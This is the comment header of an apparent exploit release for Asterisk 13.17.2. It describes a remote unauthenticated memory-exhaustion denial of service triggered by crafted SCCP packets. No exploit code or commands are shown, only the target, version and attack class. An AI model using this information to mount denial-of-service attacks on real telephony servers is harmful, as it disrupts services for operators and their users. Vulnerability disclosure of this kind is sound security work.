# Date and time of release: Nov, 15 2017
# Found this and more exploits on my open source security project:
http://www.exploitpack.com
#
# Tested on: Asterisk 13.17.2~dfsg-2
#
# Description: Asterisk is prone to a remote unauthenticated memory exhaustion
# The vulnerability is due to an error when the vulnerable application
handles crafted SCCP packet. A remote attacker may be able to exploit
this to cause a denial of service condition on the affected system.
